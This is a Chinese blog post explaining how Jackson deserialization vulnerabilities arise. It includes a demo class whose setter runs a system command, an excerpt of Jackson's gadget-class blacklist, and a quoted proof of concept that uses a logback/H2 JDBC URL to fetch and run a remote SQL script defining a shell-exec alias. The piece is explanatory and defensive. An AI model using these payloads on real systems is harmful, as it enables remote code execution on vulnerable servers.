阿里云安全公告:2019年7月31日,阿里云应急响应中心监测到有安全研究人员披露Jackson最新反序列化远程代码执行漏洞(CVE-2019-14361和CVE-2019-14439)。同事说怎么jackson这类的json序列化库经常报漏洞,而且基本都是高危漏洞,这些漏洞到底怎么来的,jackson的开发程序员就这么不靠谱么?改不完的BUG?这篇文章就让我们走进jackson的世界,感受它的无奈。
public class JacksonTest {
public static void main(String[] args) {
TestObject test = new TestObject();
test.setName("test");
test.setObja(new UnSafeObj("calc.exe"));
test.setObjb(new UnSafeObj("calc.exe"));
test.setUnSafeObj(new UnSafeObj("calc.exe"));
String json = bean2Json(test);
System.out.println(json);
System.out.println(json2Bean(json, test));
}
/**
* 对象转json
* @param bean
* @return
*/
public static String bean2Json(Object bean) {
String json = null;
ObjectMapper mapper = new ObjectMapper();
try {
// mapper.enableDefaultTyping();//将保留对象的实际类型
StringWriter sw = new StringWriter();
JsonGenerator gen = new JsonFactory().createJsonGenerator(sw);
mapper.writeValue(gen, bean);
gen.close();
json = sw.toString();
} catch (Exception e) {
e.printStackTrace();
}
return json;
}
/**
* json转对象
*
* @param json
* @param obj
* @return
*/
public static Object json2Bean(String json, Object obj) {
ObjectMapper mapper = new ObjectMapper();
Object bean = null;
try {
// mapper.enableDefaultTyping();//将还原对象的实际类型
bean = mapper.readValue(json, obj.getClass());
} catch (Exception e) {
e.printStackTrace();
}
return bean;
}
}
/**
* 测试对象
*
* @author chaozai
* @date 2019年8月14日
*
*/
class TestObject {
private String name;
private Object obja;
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
private Object objb;
private UnSafeObj unSafeObj;
TestObject() {
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public Object getObja() {
return obja;
}
public void setObja(Object obja) {
this.obja = obja;
}
public Object getObjb() {
return objb;
}
public void setObjb(Object objb) {
this.objb = objb;
}
public UnSafeObj getUnSafeObj() {
return unSafeObj;
}
public void setUnSafeObj(UnSafeObj unSafeObj) {
this.unSafeObj = unSafeObj;
}
@Override
public String toString() {
return String.format("TestObject.name=%s, TestObject.obja=%s,TestObject.objb=%s, TestObject.unSafeObj=%s", name, obja,objb,unSafeObj);
}
}
/**
* 可被利用,非安全对象
*
* @author chaozai
* @date 2019年8月14日
*
*/
class UnSafeObj {
private String cmd;
UnSafeObj() {
System.out.println("UnSafeObj init success");
}
UnSafeObj(String cmd) {
this.cmd = cmd;
}
public String getCmd(){
return cmd;
}
public void setCmd(String cmd) {
this.cmd = cmd;
System.out.println(String.format("UnSafeObj execute cmd: %s", cmd));
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
}
}
}
结果:
{"name":"test","obja":{"cmd":"calc.exe"},"objb":{"@class":"safe.jackson.UnSafeObj","cmd":"calc.exe"},"unSafeObj":{"cmd":"calc.exe"}}
UnSafeObj init success
UnSafeObj execute cmd: calc.exe
UnSafeObj init success
UnSafeObj execute cmd: calc.exe
TestObject.name=test, TestObject.obja={cmd=calc.exe},TestObject.objb=safe.jackson.UnSafeObj@c53dce, TestObject.unSafeObj=safe.jackson.UnSafeObj@15cda3f
其实就是Json反序列化的数据中包含了可被利用的非安全对象。利用场景如上述例子,分为两种:
分析:这两种情况中,json数据里包含属性对象Class名称,那么就可以被攻击者篡改为指定的威胁对象,从而控制了反序列化过程,当然正常情况下,大家代码不使用该反序列化特性即可。那么当对象类型无法正确定位的时候,jackson是如何做反序列化的呢?一步步Debug发现:UntypedObjectDeserializer中会将数据作为LinkedHashMap对象返回
protected Object mapObject(JsonParser jp, DeserializationContext ctxt) throws IOException, JsonProcessingException {
JsonToken t = jp.getCurrentToken();
if (t == JsonToken.START_OBJECT) {
t = jp.nextToken();
}
if (t != JsonToken.FIELD_NAME) {
return new LinkedHashMap(4);
}
String field1 = jp.getText();
jp.nextToken();
Object value1 = deserialize(jp, ctxt);
if (jp.nextToken() != JsonToken.FIELD_NAME) {
LinkedHashMap result = new LinkedHashMap(4);
result.put(field1, value1);
return result;
}
String field2 = jp.getText();
jp.nextToken();
Object value2 = deserialize(jp, ctxt);
if (jp.nextToken() != JsonToken.FIELD_NAME) {
LinkedHashMap result = new LinkedHashMap(4);
result.put(field1, value1);
result.put(field2, value2);
return result;
}
LinkedHashMap result = new LinkedHashMap();
result.put(field1, value1);
result.put(field2, value2);
do {
String fieldName = jp.getText();
jp.nextToken();
result.put(fieldName, deserialize(jp, ctxt));
} while (jp.nextToken() != JsonToken.END_OBJECT);
return result;
}
分析:上述例子里的Unsafe对象,以及jackson2.8.11开始,新增黑名单效验类SubTypeValidator中过滤的所有Class对象,大多都是些违反了单一责任原则的对象,在set属性过程中添加了可能超出控制的威胁代码或者是一些敏感对象数据如ConnectionUrl的指定等。
public class SubTypeValidator
{
protected final static String PREFIX_SPRING = "org.springframework.";
protected final static String PREFIX_C3P0 = "com.mchange.v2.c3p0.";
/**
* Set of well-known "nasty classes", deserialization of which is considered dangerous
* and should (and is) prevented by default.
*/
protected final static Set DEFAULT_NO_DESER_CLASS_NAMES;
static {
Set s = new HashSet();
// Courtesy of [https://github.com/kantega/notsoserial]:
// (and wrt [databind#1599])
.......省略部分代码
// [databind#2389]: logback/jndi
s.add("ch.qos.logback.core.db.JNDIConnectionSource");
// [databind#2410]: HikariCP/metricRegistry config
s.add("com.zaxxer.hikari.HikariConfig");
// [databind#2420]: CXF/JAX-RS provider/XSLT
s.add("org.apache.cxf.jaxrs.provider.XSLTJaxbProvider");
DEFAULT_NO_DESER_CLASS_NAMES = Collections.unmodifiableSet(s);
}
......省略部分代码
public void validateSubType(DeserializationContext ctxt, JavaType type,
BeanDescription beanDesc) throws JsonMappingException
{
// There are certain nasty classes that could cause problems, mostly
// via default typing -- catch them here.
final Class> raw = type.getRawClass();
String full = raw.getName();
main_check:
do {
if (_cfgIllegalClassNames.contains(full)) {
break;
}
// 18-Dec-2017, tatu: As per [databind#1855], need bit more sophisticated handling
// for some Spring framework types
// 05-Jan-2017, tatu: ... also, only applies to classes, not interfaces
if (raw.isInterface()) {
;
} else if (full.startsWith(PREFIX_SPRING)) {
for (Class> cls = raw; (cls != null) && (cls != Object.class); cls = cls.getSuperclass()){
String name = cls.getSimpleName();
// looking for "AbstractBeanFactoryPointcutAdvisor" but no point to allow any is there?
if ("AbstractPointcutAdvisor".equals(name)
// ditto for "FileSystemXmlApplicationContext": block all ApplicationContexts
|| "AbstractApplicationContext".equals(name)) {
break main_check;
}
}
} else if (full.startsWith(PREFIX_C3P0)) {
// [databind#1737]; more 3rd party
// s.add("com.mchange.v2.c3p0.JndiRefForwardingDataSource");
// s.add("com.mchange.v2.c3p0.WrapperConnectionPoolDataSource");
// [databind#1931]; more 3rd party
// com.mchange.v2.c3p0.ComboPooledDataSource
// com.mchange.v2.c3p0.debug.AfterCloseLoggingComboPooledDataSource
if (full.endsWith("DataSource")) {
break main_check;
}
}
return;
} while (false);
ctxt.reportBadTypeDefinition(beanDesc,
"Illegal type (%s) to deserialize: prevented for security reasons", full);
}
}
一共过滤了:零散的各种第三方库;Spring框架中AbstractPointcutAdvisor和AbstractApplicationContext的子类;c3p0里各种DataSource类;所有接口类。
通常安全厂商发布类似公告的时候,该漏洞可能已经被攻击者利用,那么我们怎么可以第一时间知道可能由jackson照成影响的漏洞呢?一共两种:
发现:CVE一共收录了26个相关漏洞
发现:居然还有CVE暂时没有收录的漏洞,那到底是哪个关联库呢?去SubTypeValidator里找#2420得知:
// [databind#2420]: CXF/JAX-RS provider/XSLT
s.add("org.apache.cxf.jaxrs.provider.XSLTJaxbProvider");
利用前提:
利用方式:
一个利用Connection回调H2去获取信息的样例,来自https://www.anquanke.com/post/id/182695
通过python构建一个HTTP服务器(比如python -m SimpleHttpServer),托管如下inject.sql INIT文件:
CREATE ALIAS SHELLEXEC AS $ $ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\A");
return s.hasNext() ? s.next() : ""; }
$ $;
CALL SHELLEXEC('id > exploited.txt')
然后通过如下方式运行测试应用:
$ jruby test.rb "["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'"}]"
...
$ cat exploited.txt
uid=501(...) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin)
预防手段:
爱家人,爱生活,爱设计,爱编程,拥抱精彩人生!